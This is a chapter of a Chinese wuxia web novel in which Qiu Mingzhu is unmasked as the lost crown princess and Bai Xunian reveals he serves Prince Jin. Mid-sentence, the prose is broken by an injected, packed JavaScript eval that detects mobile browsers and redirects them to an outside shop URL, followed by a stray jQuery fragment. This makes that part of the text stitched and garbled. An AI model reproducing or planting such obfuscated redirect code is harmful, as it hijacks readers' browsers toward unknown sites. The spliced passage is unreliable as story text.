秋明烛和白栩年一前一后走进了偏僻的林子,四周无人,只能见到波光粼粼的湖面和时不时飞过的鸟群。
秋明烛站定,他转过身,面前的白栩年离他三丈远,他同样站定,与刚才在那几人面前那副俊朗无害的样子不同,白栩年虽礼貌笑着,脸上的冷漠与防备全然显露,那股摸爬滚打的狠劲儿不经意间从眉眼之中透露出来,不过他没开口,显然是想等着他先开口。
“段师叔的弟子当中,我唯一没见过的就是那位叫‘许白’的师弟,听闻那位师弟样貌骇人,在中夕之时便以面具示人,不过十日,就因病退了师门。谁会想到,名不见经传的那位丑陋师弟竟是样貌名满上京的白栩年。哎,你说段师叔他知道这事儿吗?”
白栩年没有接话,他侧身看向湖面,一开口又让秋明烛杀意再现:“秋师兄可知长兴十九年那场上京之乱?”
他没有等待秋明烛的回答,继续说道:“世人皆知,昭宁皇太女宋泱出生之时,本是阴雨的天空突然云层四散,蓝天映照之下,五彩祥云从云层之中凸显出来,状如上霄神兽朱雀,满朝文武,上京百姓都看到如此神迹,连国师都说此乃祥瑞之兆,若让此女继承大统,上霄必然风调雨顺,永世昌盛。”
“因为如此之观,此女一出生便赐‘昭宁’称号,位至皇太女。也正如这祥瑞之观所预兆,此女一出生便聪慧过人,很小便显露文武双全之兆。不仅五岁便有治国之才,还天生武学甲等。特别是那弓矢之道,无师自通,九岁时便能百步穿杨,惊骇世人。大家都说,昭宁皇太女与上霄开国皇帝如出一辙,果然是下一任天下之主。”
“谁料长兴十九年,一代天骄就此陨落,上霄还真如预兆那般,内忧外患,天灾不断,你说若是那皇太女还活着,这天下还会是今天这样吗?”
此问一出,白栩年没再开口,对面的秋明烛也没回答,过了一会儿,秋明烛才开口道,语气里藏不住的愠怒:“你到底想说什么?”
“世人都说皇太女逝去,可我们这位圣上始终不相信,一直暗中命我寻这位皇太女的踪迹,一旦寻到,让我就地格杀。”
“你说呢,太女殿下,我到底要不要杀?”
最后四字刚落地,宋泱就拉满了弓,箭指白栩年脑门。
“什么时候知道的。”与刚才藏有的怒气相比,此时的宋泱异常平静。
“殿下可救过一个眉心点痣的女子?”面对即将射过来的箭,白栩年面上没有一点慌张。
“是她,她怎会六脉天功?”
这镜峰六脉天功有去除芜杂,探寻经脉真实之效。也就是说此功法不仅可以探求人体经脉疑难,还能辨别虚伪。即使她的易容之术已经是无可挑剔,只要被六脉天功一探,也会无所遁形。
不过据她所知,这天功只有镜峰易为春一脉才习得,那女子怎么会这门功夫?
“避世绝俗的易为春道长有你这样一个贪恋权势的弟子,若他在天上有知,怕不是后悔收了你这么一个逆徒。”
宋泱不禁嘲讽道:“当初白相宁死不屈叛贼,在大殿之上撞柱而死,谁能想到他的独子竟然甘愿成为仇人的狗。”
听到这话,白栩年并未露出一丝愤怒,他反而松了一口气。
看到此时白栩年的表情,宋泱心生疑惑,不过她依旧没放松警惕。
“殿下不妨看看这是什么。”白栩年从怀中掏出一块玉佩,扔给箭指他的宋泱。
她并未放下手中的箭,而是用脚接下,让那玉佩停在了地上,她瞥了一眼,眸光微闪,才放下了箭,将玉佩捡了起来,仔细瞧了一瞧。
这是玉兰令,这玉的秘密只有她和阿淮知道,除非阿淮告诉他,他不可能知道。
“你——是阿淮的人。”刚才一直敌视着他,没注意到其实他一直都没对自己动过杀心。
“就在前两个月,晋王殿下要我秘密前去琉璃城送此令,让我以此令说服风城主去上京,算算日子,风城主应该要从上京启程回琉璃城了。”
宋泱观察着他的表情,他没有撒谎。
“怕是过不了几日,殿下被我找到的消息便会在晋王殿下手里。”
“他知道我还活着?”宋泱显露出欣喜又愧疚。
“晋王殿下一直相信殿下还活着,这些年让我一直寻着你的踪迹。”白栩年解释道。
“阿淮过得怎么样?”沉默一阵后,宋泱问了出口。
刚问出口她又急着说道:“算了,你不必告诉我。”
她转向闪烁的湖面,风拂过,岸边的芦苇随风浮动着,她终是卸下了大部分防备。
“你这次是来寻我的?”宋泱平静着问出。
“不是。”
宋泱有些诧异转过头,她突然脑海中闪过一个人的身影,不禁笑了笑,尝试性问出了口:“为了寒女侠?”
她看着白栩年,想从他的表情当中看出什么,可惜什么都看不出。
“殿下去江州可是要去杀我?”
“那倒是。”
“殿下远在山里也能有所察觉,是朝中有人在帮你?”白栩年试探着。
宋泱没有回答,她反问道:“刚才你那样激怒我,是想问什么?”
话一出口,白栩年缓缓看向湖面,他双睫颤动着,语气轻缓:“当年上京之乱,殿下知道多少?”
——
寒以清梳洗完后踏进风千绪和颜疏裴的房间,就看见风千绪眉飞色舞,手舞足蹈,还天花乱坠地说着刚才发生的事儿。
“你不知道,阿姐怕水,我本想叫住她让我去,不过没得及……”
“咳咳。”
寒以清在他身后“咳”了两声。
风千绪一个应激,连忙说道:“以清阿姐,我没说你坏话。”他又碰了碰颜疏裴,示意他为自己作证。
“你怕水?”颜疏裴没有如风千绪所愿,他诧异看向寒以清。
听到颜疏裴问出口的话,他悄悄瞪了他一眼,又朝着寒以清不好意思地笑了笑。
“我都听到了。”这句话是对风千绪说的,不过她本就不在意,而是反问颜疏裴:“怎么,我不能怕水?”
“只是你感觉什么都行,没想到你居然会怕水。”颜疏裴想起来颇为不可思议。
他看着风千绪继续问道:“那是你救的她?”
“不是,我一出来,许大人就已经先我一步跳进湖里把阿姐救了上来。”说完风千绪又看了一眼寒以清的脸色。
“以你阿姐和许大人之间的关系,他怎知你阿姐怕水?”颜疏裴提出疑问。
对哟,他怎么知道阿姐怕水,连他也是那次故意才知晓的。
其实说起来他对以清阿姐知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17732164|202500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之甚少,他只知道她与阿姐是朋友,还有她是伯母的徒弟,其他的事儿特别是她家里的事儿他一概不知。
看来阿姐和许大人之间的关系,远不止她说的那样。
两人一同看向寒以清,风千绪直接问出口:“阿姐你告诉他的?”
“也许是吧。”
看出寒以清的迷茫,颜疏裴转移话题:“刚才你说秋公子要杀许白,那他们两人现在不会拼个你死我活吧,我们真的什么都不管?”
“也许是他们同门之间的恩怨,我们不便插手。”虽然她不希望任何一方有事,但以刚才两人的态度,自己是不可以插手的,况且许白让她放心,寒以清想着。
“你说到底什么事,那秋公子可不是小打小闹,刚才那架势是要将许大人置之死地的!”风千绪说道。
“那谁知道。”颜疏裴看着窗外,却见着两人一齐走了回来。
“他们回来了。”
寒以清看向窗外,见两人安然走着,身上没有伤,看来是什么都没发生。
几人都迎了下去。
还未走近,白栩年就眼神示意寒以清“解决了”,她才安心下来。
见着来人,宋泱首先向三人致歉:“对不住各位,特别是寒女侠,还害得你摔下湖去。刚才是我误会许师弟了,此事不便详说,都怪我一冲动直接在船上打起来,我向各位赔不是。”
不等寒以清开口,颜疏裴先行开口:“秋公子,光说说怎么可以,你看怎么补偿我们以清妹子。”
“当然不能口头说说,寒姑娘,你想要什么补偿?”宋泱看向寒以清。
“我……”她其实没真的怪罪秋明烛,她是自己跌了下去,不过话都说到这份了,她也应下了颜疏裴的好意。
“要不然请我们吃一顿?”寒以清询问道。
“阿姐,你也太便宜他了吧。”风千绪不满嘟囔道。
“对啊,以清妹子。”颜疏裴附和道。
“要不这样好了,我单独满足寒姑娘的一个愿望,到了建城再请大家吃一顿上好的酒食,大家觉着怎么样?”
颜疏裴勉为其难地应下:“那还差不多。”
风千绪也点头:“我觉得行。”
他们又一齐看向寒以清。
寒以清瞪了两人,又看向宋泱:“那好吧。”
见事情都已解决,白栩年才开口:“各位,既然如此,我先去休整了。”
众人都点了点头,刚才落水的可不止寒以清一人。
待白栩年离开后,风千绪欣喜开口:“秋少侠,你也要去建城?”
“对,我去建城有事要办,既然各位都要去建城,让秋某与各位同路可行?”秋明烛提议道。
风千绪正想应答,看了看寒以清的脸色,才说出口:“好啊好啊,秋公子你这么厉害,我们高兴还来不及。”
颜疏裴想起当初他加入时,两人还商议了一会儿,怎么这秋公子一说加入,他俩立马就同意了,难道他看起来这么不像好人吗?
他打量起秋明烛的脸,虽然自带一种难以形容的贵气,不过不会让人觉得难以接近,反而很想亲近。
虽然比不过自己这张人见人爱的脸,可能是自己帅得太有距离了吧。
不过这秋公子的脸越瞧越觉得有些奇怪,到底是哪里奇怪呢?